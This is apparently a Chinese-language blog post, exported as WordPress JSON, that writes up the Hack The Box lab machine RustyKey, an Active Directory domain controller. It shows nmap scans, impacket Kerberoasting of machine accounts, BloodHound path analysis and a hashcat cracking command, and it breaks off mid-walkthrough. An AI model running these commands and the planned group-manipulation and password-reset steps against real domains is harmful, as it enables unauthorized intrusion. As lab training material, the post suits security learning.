{"id":311,"date":"2025-07-10T18:13:46","date_gmt":"2025-07-10T10:13:46","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=311"},"modified":"2026-01-29T16:18:33","modified_gmt":"2026-01-29T08:18:33","slug":"311","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2025\/07\/10\/311\/","title":{"rendered":"HTB\u9776\u673a RustyKey \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"<hr \/>\n<h1>\u76ee\u6807\u4fe1\u606f<\/h1>\n<blockquote><p><strong>IP\u5730\u5740\uff1a<code>10.129.168.11<\/code>\uff08\u975e\u56fa\u5b9aIP\u5730\u5740\uff09<\/strong><\/p>\n<p><strong>\u63d0\u4f9b\u51ed\u636e\uff1a<code>rr.parker \/ 8#t5HE8L!W3A<\/code><\/strong><\/p><\/blockquote>\n<hr \/>\n<h1>\u4fe1\u606f\u6536\u96c6<\/h1>\n<h2>ICMP\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\">PING 10.129.168.11 (10.129.168.11) 56(84) bytes of data.\n64 bytes from 10.129.168.11: icmp_seq=1 ttl=127 time=301 ms\n64 bytes from 10.129.168.11: icmp_seq=2 ttl=127 time=2217 ms\n64 bytes from 10.129.168.11: icmp_seq=3 ttl=127 time=1209 ms\n64 bytes from 10.129.168.11: icmp_seq=4 ttl=127 time=427 ms\n\n--- 10.129.168.11 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3034ms\nrtt min\/avg\/max\/mdev = 301.403\/1038.507\/2216.984\/764.078 ms, pipe 3<\/code><\/pre>\n<p>\u653b\u51fb\u673a\u548c\u9776\u673a\u95f4\u7f51\u7edc\u8fde\u63a5\u6b63\u5e38\u3002<\/p>\n<h2>\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\"># Nmap 7.95 scan initiated Sun Jun 29 06:08:15 2025 as: \/usr\/lib\/nmap\/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.129.168.11\nNmap scan report for 10.129.168.11\nHost is up (0.30s latency).\nAll 65535 scanned ports on 10.129.168.11 are in ignored states.\nNot shown: 65535 open|filtered tcp ports (no-response)\n\n# Nmap done at Sun Jun 29 06:09:01 2025 -- 1 IP address (1 host up) scanned in 46.39 seconds<\/code><\/pre>\n<p>\u65e0\u6cd5\u68c0\u6d4b\u9776\u673a\u9632\u706b\u5899\u72b6\u6001\u3002<\/p>\n<h2>\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n<p><code><strong>TCP<\/strong><\/code><strong>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.95 scan initiated Sun Jun 29 06:14:41 2025 as: \/usr\/lib\/nmap\/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.129.168.11\nWarning: 10.129.168.11 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.129.168.11\nHost is up (0.30s latency).\nNot shown: 63840 closed tcp ports (conn-refused), 1669 filtered tcp ports (no-response)\nPORT      STATE SERVICE       VERSION\n53\/tcp    open  domain        Simple DNS Plus\n88\/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-29 06:15:42Z)\n135\/tcp   open  msrpc         Microsoft Windows RPC\n139\/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn\n389\/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)\n445\/tcp   open  microsoft-ds?\n464\/tcp   open  kpasswd5?\n593\/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0\n636\/tcp   open  tcpwrapped\n3268\/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)\n3269\/tcp  open  tcpwrapped\n5985\/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP\/UPnP)\n|_http-title: Not Found\n|_http-server-header: Microsoft-HTTPAPI\/2.0\n9389\/tcp  open  mc-nmf        .NET Message Framing\n47001\/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP\/UPnP)\n|_http-title: Not Found\n|_http-server-header: Microsoft-HTTPAPI\/2.0\n49664\/tcp open  msrpc         Microsoft Windows RPC\n49665\/tcp open  msrpc         Microsoft Windows RPC\n49666\/tcp open  msrpc         Microsoft Windows RPC\n49667\/tcp open  msrpc         Microsoft Windows RPC\n49669\/tcp open  msrpc         Microsoft Windows RPC\n49670\/tcp open  msrpc         Microsoft Windows RPC\n49671\/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0\n49673\/tcp open  msrpc         Microsoft Windows RPC\n49674\/tcp open  msrpc         Microsoft Windows RPC\n49677\/tcp open  msrpc         Microsoft Windows RPC\n49692\/tcp open  msrpc         Microsoft Windows RPC\n52083\/tcp open  msrpc         Microsoft Windows RPC\nDevice type: general purpose\nRunning (JUST GUESSING): Microsoft Windows 10|2019|2012|2016|2022|7 (96%)\nOS CPE: cpe:\/o:microsoft:windows_10 cpe:\/o:microsoft:windows_server_2019 cpe:\/o:microsoft:windows_server_2012:r2 cpe:\/o:microsoft:windows_server_2016 cpe:\/o:microsoft:windows_server_2022 cpe:\/o:microsoft:windows_7::sp1\nAggressive OS guesses: Microsoft Windows 10 1909 - 2004 (96%), Microsoft Windows Server 2019 (95%), Windows Server 2019 (93%), Microsoft Windows Server 2012 R2 (92%), Microsoft Windows 10 1909 (90%), Microsoft Windows 10 1709 - 21H2 (89%), Microsoft Windows 10 1903 - 21H1 (89%), Microsoft Windows Server 2016 (89%), Microsoft Windows Server 2022 (89%), Microsoft Windows 10 20H2 - 21H1 (88%)\nNo exact OS matches for host (test conditions non-ideal).\nNetwork Distance: 2 hops\nService Info: Host: DC; OS: Windows; CPE: cpe:\/o:microsoft:windows\n\nHost script results:\n| smb2-security-mode: \n|   3:1:1: \n|_    Message signing enabled and required\n| smb2-time: \n|   date: 2025-06-29T06:17:17\n|_  start_date: N\/A\n|_clock-skew: 8h00m00s\n\nTRACEROUTE (using proto 1\/icmp)\nHOP RTT       ADDRESS\n1   295.68 ms 10.10.14.1\n2   295.82 ms 10.129.168.11\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Sun Jun 29 06:17:33 2025 -- 1 IP address (1 host up) scanned in 171.61 seconds<\/code><\/pre>\n<p><code><strong>UDP<\/strong><\/code><strong>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.95 scan initiated Sun Jun 29 06:20:45 2025 as: \/usr\/lib\/nmap\/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.168.11\nWarning: 10.129.168.11 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.129.168.11\nHost is up (0.32s latency).\nNot shown: 65324 open|filtered udp ports (no-response), 207 closed udp ports (port-unreach)\nPORT    STATE SERVICE\n53\/udp  open  domain\n88\/udp  open  kerberos-sec\n123\/udp open  ntp\n389\/udp open  ldap\n\n# Nmap done at Sun Jun 29 06:24:47 2025 -- 1 IP address (1 host up) scanned in 242.75 seconds<\/code><\/pre>\n<p><code><strong>UDP<\/strong><\/code><strong>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\">\uff08\u65e0\uff09<\/code><\/pre>\n<p>\u540c\u65f6\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u4e3a<code>Windows Server 2019<\/code>\uff0c\u4e14\u4e3a\u57df\u63a7\u5236\u5668\uff0c\u4e3b\u57df\u540d\u4e3a<code>rustykey.htb<\/code>\u3002\u7ecf<code>DNS<\/code>\u67e5\u8be2\uff0c\u53d1\u73b0\u57df\u63a7\u4e3b\u673a\u540d\u4e3a<code>dc<\/code>\u3002<\/p>\n<hr \/>\n<h1>\u670d\u52a1\u63a2\u6d4b<\/h1>\n<h2>Kerberos\u670d\u52a1\uff0888\u7aef\u53e3\uff09<\/h2>\n<p>\u6839\u636e\u9898\u76ee\u63d0\u4f9b\u7684\u51ed\u636e\uff0c\u5c1d\u8bd5\u4f7f\u7528<code>crackmapexec<\/code>\u5de5\u5177\u8fde\u63a5<code>SMB<\/code>\u670d\u52a1\uff0c\u53d1\u73b0\u8fde\u63a5\u5931\u8d25\uff0c\u8fd4\u56de\u9519\u8bef<code>STATUS_NOT_SUPPORTED<\/code>\uff1a<\/p>\n<pre><code class=\"language-shell\">crackmapexec smb dc.rustykey.htb -d rustykey.htb -u \"rr.parker\" -p '8#t5HE8L!W3A'<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1751671936411-d87432c3-8a89-4cd7-a2eb-6a196f1ca8a9.png\" alt=\"\" \/><\/p>\n<p>\u8ba4\u4e3a\u8be5\u9519\u8bef\u4fe1\u606f\u4ea7\u751f\u7684\u539f\u56e0\u4e3a\u76ee\u6807\u7cfb\u7edf\u4e0d\u652f\u6301\u4f7f\u7528<code>SMB NTLM<\/code>\u767b\u5f55\u3002\u5c1d\u8bd5\u4f7f\u7528<code>impacket-getTGT<\/code>\u5de5\u5177\u8bf7\u6c42\u4e00\u4efd<code>rr.parker<\/code>\u7528\u6237\u7684<code>TGT<\/code>\u7968\u636e\uff1a<\/p>\n<pre><code class=\"language-shell\">ntpdate -s dc.rustykey.htb\nimpacket-getTGT rustykey.htb\/rr.parker:'8#t5HE8L!W3A' -dc-ip 10.10.11.75<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1751672383182-e31d6925-2223-461c-9666-96a42d83273c.png\" alt=\"\" \/><\/p>\n<p>\u83b7\u53d6\u6210\u529f\u540e\u8bbe\u7f6e<code>KRB5CCNAME<\/code>\u73af\u5883\u53d8\u91cf\uff0c\u6307\u5b9a\u503c\u4e3a\u7968\u636e\u8def\u5f84\uff1a<\/p>\n<pre><code class=\"language-shell\">export KRB5CCNAME=\/home\/megumin\/Documents\/pentest_notes\/rustykey\/rr.parker.ccache<\/code><\/pre>\n<p>\u9996\u5148\u4f7f\u7528<code>impacket-lookupsid<\/code>\u5de5\u5177\u7206\u7834\u57df\u5185\u7528\u6237\u548c\u7ec4\u5b9e\u4f53<code>RID<\/code>\uff1a<\/p>\n<pre><code class=\"language-shell\">impacket-lookupsid rustykey.htb\/rr.parker@dc.rustykey.htb 40000 -no-pass -k -domain-sids<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1751673152865-f6b57d6f-24e1-4e74-a4bf-08ba3c294492.png\" alt=\"\" \/><\/p>\n<pre><code class=\"language-plain\">Administrator\nGuest\nkrbtgt\nDC$\nSupport-Computer1$\nSupport-Computer2$\nSupport-Computer3$\nSupport-Computer4$\nSupport-Computer5$\nFinance-Computer1$\nFinance-Computer2$\nFinance-Computer3$\nFinance-Computer4$\nFinance-Computer5$\nIT-Computer1$\nIT-Computer2$\nIT-Computer3$\nIT-Computer4$\nIT-Computer5$\nrr.parker\nmm.turner\nbb.morgan\ngg.anderson\ndd.ali\nee.reed\nnn.marcos\nbackupadmin<\/code><\/pre>\n<p>\u6210\u529f\u53d1\u73b0<code>27<\/code>\u4e2a\u57df\u5185\u7528\u6237\u3002\u5c1d\u8bd5\u4f7f\u7528<code>impacket-GetUserSPNs<\/code>\u5de5\u5177\u67e5\u627e\u53ef\u8fdb\u884c<code>Kerberoasting<\/code>\u653b\u51fb\u7684\u7528\u6237\uff1a<\/p>\n<pre><code class=\"language-shell\">impacket-GetUserSPNs -request -usersfile .\/aduser.lst -dc-ip 10.10.11.75 rustykey.htb\/rr.parker -no-pass -k<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1751673596729-ad773ab3-2c36-4c0c-8200-5eb7d9f9fb38.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u6240\u6709\u673a\u5668\u8d26\u53f7\u54c8\u5e0c\u5747\u672a\u4f7f\u7528\u5b89\u5168\u54c8\u5e0c\u51fd\u6570\u8fdb\u884c\u6458\u8981\uff0c\u76f4\u63a5\u5c06\u5168\u90e8\u673a\u5668\u8d26\u53f7\u7684<code>TGS-REP<\/code>\u54c8\u5e0c\u4fdd\u5b58\u3002<\/p>\n<h2>SMB\u670d\u52a1\uff08445\u7aef\u53e3\uff09<\/h2>\n<p>\u5c1d\u8bd5\u4f7f\u7528<code>impacket-smbclient<\/code>\u5de5\u5177\uff0c\u901a\u8fc7\u83b7\u53d6\u7684<code>TGT<\/code>\u7968\u636e\u4ee5<code>rr.parker<\/code>\u8eab\u4efd\u8fde\u63a5<code>SMB<\/code>\u670d\u52a1\uff1a<\/p>\n<pre><code class=\"language-shell\">impacket-smbclient rustykey.htb\/rr.parker@dc.rustykey.htb -no-pass -k<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1751674430409-7ce8d8ee-df87-4fc2-bd11-8a7f7bec4dcc.png\" alt=\"\" \/><\/p>\n<p>\u7ecf\u8fc7\u4e00\u756a\u679a\u4e3e\u540e\uff0c\u5728<code>\/rustykey.htb\/Policies\/{6AC1786C-016F-11D2-945F-00C04fB984F9}\/MACHINE\/Microsoft\/Windows NT\/SecEdit\/<\/code>\u76ee\u5f55\u4e0b\u53d1\u73b0\u4e86\u4e00\u4efd\u540d\u4e3a<code>GptTmpl.inf<\/code>\u7684\u914d\u7f6e\u6587\u4ef6\uff1a<\/p>\n<pre><code class=\"language-plain\">[Unicode]\nUnicode=yes\n[Version]\nsignature=\"$CHICAGO$\"\nRevision=1\n[Registry Keys]\n\"MACHINE\\SOFTWARE\\Classes\\CLSID\\{23170F69-40C1-278A-1000-000100020000}\",0,\"D:PAR(A;CI;KR;;;S-1-15-2-1)(A;CIIO;KA;;;CO)(A;CI;KA;;;S-1-5-21-3316070415-896458127-4139322052-1132)(A;CI;KA;;;SY)(A;CI;KA;;;BA)(A;CI;KR;;;BU)\"\n[Privilege Rights]\nSeAssignPrimaryTokenPrivilege = *S-1-5-19,*S-1-5-20\nSeAuditPrivilege = *S-1-5-19,*S-1-5-20\nSeBackupPrivilege = *S-1-5-32-544,*S-1-5-32-551,*S-1-5-32-549\nSeBatchLogonRight = *S-1-5-32-544,*S-1-5-32-551,*S-1-5-32-559,*S-1-5-21-3316070415-896458127-4139322052-1136\nSeChangeNotifyPrivilege = *S-1-1-0,*S-1-5-19,*S-1-5-20,*S-1-5-32-544,*S-1-5-11,*S-1-5-32-554\nSeCreatePagefilePrivilege = *S-1-5-32-544\nSeDebugPrivilege = *S-1-5-32-544\nSeIncreaseBasePriorityPrivilege = *S-1-5-32-544,*S-1-5-90-0\nSeIncreaseQuotaPrivilege = *S-1-5-19,*S-1-5-20,*S-1-5-32-544\nSeInteractiveLogonRight = *S-1-5-32-548,*S-1-5-32-544,*S-1-5-32-551,*S-1-5-9,*S-1-5-32-550,*S-1-5-21-3316070415-896458127-4139322052-1136,*S-1-5-21-3316070415-896458127-4139322052-1132,*S-1-5-32-549\nSeLoadDriverPrivilege = *S-1-5-32-544,*S-1-5-32-550\nSeMachineAccountPrivilege = *S-1-5-11\nSeNetworkLogonRight = *S-1-1-0,*S-1-5-32-544,*S-1-5-11,*S-1-5-9,*S-1-5-32-554\nSeProfileSingleProcessPrivilege = *S-1-5-32-544\nSeRemoteShutdownPrivilege = *S-1-5-32-544,*S-1-5-32-549\nSeRestorePrivilege = *S-1-5-32-544,*S-1-5-32-551,*S-1-5-32-549\nSeSecurityPrivilege = *S-1-5-32-544\nSeShutdownPrivilege = *S-1-5-32-544,*S-1-5-32-551,*S-1-5-32-549,*S-1-5-32-550\nSeSystemEnvironmentPrivilege = *S-1-5-32-544\nSeSystemProfilePrivilege = *S-1-5-32-544,*S-1-5-80-3139157870-2983391045-3678747466-658725712-1809340420\nSeSystemTimePrivilege = *S-1-5-19,*S-1-5-32-544,*S-1-5-32-549\nSeTakeOwnershipPrivilege = *S-1-5-32-544\nSeUndockPrivilege = *S-1-5-32-544\nSeEnableDelegationPrivilege = *S-1-5-32-544\nSeDenyNetworkLogonRight = *S-1-5-21-3316070415-896458127-4139322052-1132,*S-1-5-21-3316070415-896458127-4139322052-1136,*S-1-5-21-3316070415-896458127-4139322052-1000\n[Registry Values]\nMACHINE\\System\\CurrentControlSet\\Services\\Netlogon\\Parameters\\RequireSignOrSeal=4,1\nMACHINE\\System\\CurrentControlSet\\Services\\LanManServer\\Parameters\\RequireSecuritySignature=4,1\nMACHINE\\System\\CurrentControlSet\\Services\\LanManServer\\Parameters\\EnableSecuritySignature=4,1<\/code><\/pre>\n<p>\u53d1\u73b0<code>Registry Keys<\/code>\u914d\u7f6e\u9879\u5185\u5b58\u5728\u6ce8\u518c\u8868\u9879<code>HKLM\\SOFTWARE\\Classes\\CLSID\\{23170F69-40C1-278A-1000-000100020000}<\/code>\uff0c\u4e00\u65c1\u4f3c\u4e4e\u8fd8\u6709<code>SDDL<\/code>\u5b89\u5168\u63cf\u8ff0\u7b26\u3002\u5c1d\u8bd5\u4f7f\u7528<code>Windows PowerShell<\/code>\u81ea\u5e26\u7684<code>ConvertFrom-SDDLString<\/code>\u547d\u4ee4\u83b7\u53d6\u5176\u542b\u4e49\uff1a<\/p>\n<pre><code class=\"language-powershell\">ConvertFrom-SDDLString \"D:PAR(A;CI;KR;;;S-1-15-2-1)(A;CIIO;KA;;;CO)(A;CI;KA;;;S-1-5-21-3316070415-896458127-4139322052-1132)(A;CI;KA;;;SY)(A;CI;KA;;;BA)(A;CI;KR;;;BU)\" | Select -Expand DiscretionaryAcl<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1751675693608-4ad5564e-baaf-4b20-a8ff-cb234f952f66.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u57df\u5185<code>RID<\/code>\u4e3a<code>1132<\/code>\u7684\u5b9e\u4f53\u5bf9\u8be5\u6ce8\u518c\u8868\u9879\u53ca\u5176\u5b50\u9879\u5177\u6709\u5b8c\u5168\u63a7\u5236\u6743\u9650\u3002<\/p>\n<h2>\u57df\u5185\u5173\u7cfb\u679a\u4e3e<\/h2>\n<p>\u4f7f\u7528<code>netexec<\/code>\u5de5\u5177\uff0c\u901a\u8fc7<code>rr.parker<\/code>\u7528\u6237\u8eab\u4efd\u542f\u52a8<code>BloodHound<\/code>\u8fdb\u884c\u57df\u5185\u4fe1\u606f\u6536\u96c6\uff1a<\/p>\n<pre><code class=\"language-shell\">netexec ldap dc.rustykey.htb -u rr.parker -k --use-kcache --dns-server 10.10.11.75 --bloodhound -c All<\/code><\/pre>\n<p>\u968f\u540e\u542f\u52a8<code>BloodHound<\/code>\u5206\u6790\u5de5\u5177\uff0c\u4e0a\u4f20\u6570\u636e\u96c6\u538b\u7f29\u5305\uff0c\u5217\u51fa\u6700\u77ed\u653b\u51fb\u8def\u5f84\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1751680347645-19291e72-c281-4b49-92c4-58a530eb716d.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u5982\u4e0b\u60c5\u51b5\uff1a<\/p>\n<ul>\n<li><code>Support<\/code>\u7528\u6237\u7ec4\u7684<code>RID<\/code>\u521a\u597d\u4e3a<code>1132<\/code>\uff1b<\/li>\n<li>\u673a\u5668\u8d26\u6237<code>IT-Computer3<\/code>\u53ef\u5c06\u81ea\u8eab\u6dfb\u52a0\u81f3<code>HelpDesk<\/code>\u7528\u6237\u7ec4\u4e2d\uff1b<\/li>\n<li><code>HelpDesk<\/code>\u7ec4\u5185\u7528\u6237\u53ef\u91cd\u7f6e<code>ee.reed<\/code>\u7528\u6237\u5bc6\u7801\uff1b<\/li>\n<li><code>ee.reed<\/code>\u7528\u6237\u5904\u4e8e<code>Support<\/code>\u7528\u6237\u7ec4\u4e2d\uff0c\u8be5\u7ec4\u5185\u7528\u6237\u53ef\u901a\u8fc7<code>WinRM<\/code>\u767b\u5f55\u7cfb\u7edf\u3002<\/li>\n<\/ul>\n<p>\u5c1d\u8bd5\u70b9\u51fb<code>HelpDesk<\/code>\u7ec4\uff0c\u5355\u51fb<code>First Degree Object Control<\/code>\u6309\u94ae\uff0c\u5217\u51fa<code>HelpDesk<\/code>\u53ef\u63a7\u7684\u5bf9\u8c61\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1751681412477-1144f504-f830-400f-a53d-caa6eef9e0dd.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0<code>HelpDesk<\/code>\u9664<code>ee.reed<\/code>\u5916\uff0c\u8fd8\u5bf9<code>dd.ali<\/code>\u3001<code>gg.anderson<\/code>\u548c<code>bb.morgan<\/code>\u7528\u6237\u5177\u6709\u91cd\u7f6e\u5bc6\u7801\u6743\u9650\uff0c\u540c\u65f6\u5bf9<code>Protected Objects<\/code>\u7ec4\u6709<code>AddMember<\/code>\u6743\u9650\uff0c\u8fd9\u610f\u5473\u7740<code>HelpDesk<\/code>\u4e0d\u4ec5\u53ef\u4ee5\u5411\u8be5\u7528\u6237\u7ec4\u5185\u6dfb\u52a0\u5bf9\u8c61\uff0c\u8fd8\u53ef\u4ee5\u5c06\u8be5\u7ec4\u5185\u7684\u5bf9\u8c61\u79fb\u51fa\u3002<\/p>\n<p>\u70b9\u51fb<code>Protected Object<\/code>\u7ec4\uff0c\u5355\u51fb<code>Unrolled Members<\/code>\u6309\u94ae\uff0c\u5217\u51fa\u8be5\u7ec4\u7684\u6240\u6709\u5b50\u6210\u5458\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1751681695041-3b364f5f-ff36-4d1e-83ac-3ae55feb7428.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u4e09\u4e2a\u7528\u6237<code>ee.reed<\/code>\u3001<code>gg.anderson<\/code>\u3001<code>bb.morgan<\/code>\u548c\u7528\u6237\u7ec4<code>Support<\/code>\u3001<code>IT<\/code>\u5747\u4e3a\u8be5\u7ec4\u6210\u5458\u3002\u5c1d\u8bd5\u67e5\u770b\u8be5\u7528\u6237\u7ec4\u7684\u4e0a\u7ea7\u6240\u5c5e\u7ec4\uff0c\u53d1\u73b0\u8be5\u7ec4\u53c8\u4e3a\u7cfb\u7edf\u7528\u6237\u7ec4<code>Protected Users<\/code>\u7684\u6210\u5458\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1751681911492-f092bfb4-05c2-46f2-b307-5c0b6bfd09d2.png\" alt=\"\" \/><\/p>\n<p>\u8fd9\u610f\u5473\u7740\u4e0a\u8ff0\u4e09\u4e2a\u7528\u6237\u4e3a<code>Protected Users<\/code>\u7ec4\u7684\u95f4\u63a5\u6210\u5458\uff0c\u7528\u6237\u65e0\u6cd5\u8fdb\u884c<code>NTLM<\/code>\u8ba4\u8bc1\u3001\u8fd4\u56de<code>TGT<\/code>\u7968\u636e\uff0c\u7cfb\u7edf<code>CredSSP<\/code>\u8eab\u4efd\u8ba4\u8bc1\u7ec4\u4ef6\u4e5f\u4e0d\u4f1a\u7f13\u5b58\u7528\u6237\u51ed\u636e\u3002<\/p>\n<p>\u6839\u636e\u4ee5\u4e0a\u60c5\u51b5\uff0c\u6211\u4eec\u53ef\u4ee5\u786e\u5b9a\u5982\u4e0b\u653b\u51fb\u8def\u5f84\uff1a<\/p>\n<ol>\n<li>\u5c1d\u8bd5\u7834\u89e3<code>Kerberos<\/code>\u670d\u52a1\u63a2\u6d4b\u9636\u6bb5\u4fdd\u5b58\u5728\u672c\u5730\u7684<code>IT-Computer3<\/code>\u8d26\u6237<code>TGS-REP<\/code>\u54c8\u5e0c\uff0c\u5e76\u8bf7\u6c42<code>TGT<\/code>\u7968\u636e\uff1b<\/li>\n<li>\u5229\u7528<code>IT-Computer3<\/code>\u7528\u6237\u5bf9<code>HelpDesk<\/code>\u7ec4\u7684<code>AddSelf<\/code>\u6743\u9650\uff0c\u5c06\u81ea\u8eab\u6dfb\u52a0\u5230\u8be5\u7ec4\u4e2d\uff1b<\/li>\n<li>\u901a\u8fc7<code>HelpDesk<\/code>\u7ec4\u8eab\u4efd\uff0c\u5c06<code>IT<\/code>\u548c<code>Support<\/code>\u7ec4\u4ece<code>Protected Objects<\/code>\u7ec4\u79fb\u9664\uff1b<\/li>\n<li>\u5229\u7528<code>HelpDesk<\/code>\u7ec4\u5bf9<code>ee.reed<\/code>\u3001<code>gg.anderson<\/code>\u548c<code>bb.morgan<\/code>\u4e09\u4e2a\u7528\u6237\u7684<code>ForceChangePassword<\/code>\u6743\u9650\uff0c\u91cd\u7f6e\u5176\u5bc6\u7801\u5e76\u5c1d\u8bd5\u8bf7\u6c42<code>TGT<\/code>\u7968\u636e\uff0c\u5e76\u767b\u5f55<code>WinRM<\/code>\uff1b<\/li>\n<li>\u767b\u5f55<code>WinRM<\/code>\u540e\uff0c\u5c3d\u91cf\u901a\u8fc7\u4e00\u4e9b\u65b9\u6cd5\u79fb\u52a8\u81f3<code>ee.reed<\/code>\u7528\u6237\uff08\u7528\u6237\u7ec4<code>RID<\/code>\u4e3a<code>1132<\/code>\uff09\uff0c\u5e76\u8fdb\u884c\u4e00\u4e9b\u57fa\u4e8e\u6ce8\u518c\u8868\u7684\u679a\u4e3e\u3002<\/li>\n<\/ol>\n<hr \/>\n<h1>\u6e17\u900f\u6d4b\u8bd5<\/h1>\n<h2>\u914d\u7f6eLinux Kerberos\u5ba2\u6237\u7aef\u73af\u5883<\/h2>\n<p>\u5728\u5f00\u59cb\u653b\u51fb\u524d\uff0c\u6211\u4eec\u9700\u8981\u914d\u7f6e<code>\/etc\/krb5.conf<\/code>\u6587\u4ef6\uff0c\u5728<code>Linux Kerberos<\/code>\u5ba2\u6237\u7aef\u4e2d\u6dfb\u52a0\u76ee\u6807\u57df\u7684\u4fe1\u606f\uff1a<\/p>\n<pre><code class=\"language-plain\">[libdefaults]\n        default_realm = RUSTYKEY.HTB\n        dns_lookup_realm = false\n        dns_lookup_kdc = true\n        ticket_lifetime = 24h\n        forwardable = true\n\n[realms]\n        RUSTYKEY.HTB = {\n                kdc = DC.RUSTYKEY.HTB\n                admin_server = DC.RUSTYKEY.HTB\n                default_domain = DC.RUSTYKEY.HTB\n        }\n\n[domain_realm]\n        .rustykey.htb = RUSTYKEY.HTB\n        rustykey.htb = RUSTYKEY.HTB<\/code><\/pre>\n<p>\u914d\u7f6e\u5b8c\u6bd5\u540e\uff0c\u4f7f\u7528<code>kinit<\/code>\u547d\u4ee4\u5c1d\u8bd5\u83b7\u53d6<code>rr.parker<\/code>\u7528\u6237\u7684<code>TGT<\/code>\u7968\u636e\uff1a<\/p>\n<pre><code class=\"language-shell\">kinit rr.parker@RUSTYKEY.HTB\nklist<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1751682807191-aa309d5b-a17f-4d67-ae75-23ac0bbb582c.png\" alt=\"\" \/><\/p>\n<p>\u914d\u7f6e\u6210\u529f\uff01\u6700\u540e\u4f7f\u7528<code>kdestroy<\/code>\u547d\u4ee4\u5220\u9664\u7968\u636e\uff0c\u9632\u6b62\u9020\u6210\u5e72\u6270\u3002<\/p>\n<h2>\u57df\u5185\u5371\u9669\u5173\u7cfb\u5229\u7528<\/h2>\n<p>\u5728\u670d\u52a1\u63a2\u6d4b\u9636\u6bb5\uff0c\u6211\u4eec\u5df2\u7ecf\u53d1\u73b0\u4e86\u57df\u5185\u5b58\u5728\u7684\u5371\u9669\u5173\u7cfb\uff0c\u5e76\u5236\u5b9a\u4e86\u653b\u51fb\u65b9\u6848\uff0c\u4e0b\u9762\u8fdb\u884c\u5229\u7528\u3002<\/p>\n<p>\u7b2c\u4e00\u6b65\uff0c\u7531\u4e8e\u653b\u51fb\u8def\u5f84\u7684\u8d77\u59cb\u70b9\u4e3a<code>IT-Computer3<\/code>\u7528\u6237\uff0c\u56e0\u6b64\u6211\u4eec\u9700\u8981\u4f7f\u7528<code>hashcat<\/code>\u5de5\u5177\uff0c\u5bf9\u5148\u524d\u83b7\u53d6\u8be5\u7528\u6237<code>TGS-REP<\/code>\u54c8\u5e0c\u8fdb\u884c\u7834\u89e3\uff1a<\/p>\n<pre><code class=\"language-powershell\">.\\hashcat.exe -m 13100 -a 0 Z:\\rustykey\\machineuser-tgshash\\IT-Computer3.txt .\\rockyou.txt --force<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1751683269875-1cc3daa6-f53b-41f7-825d-f45e71674a3f.png\" alt=\"\" 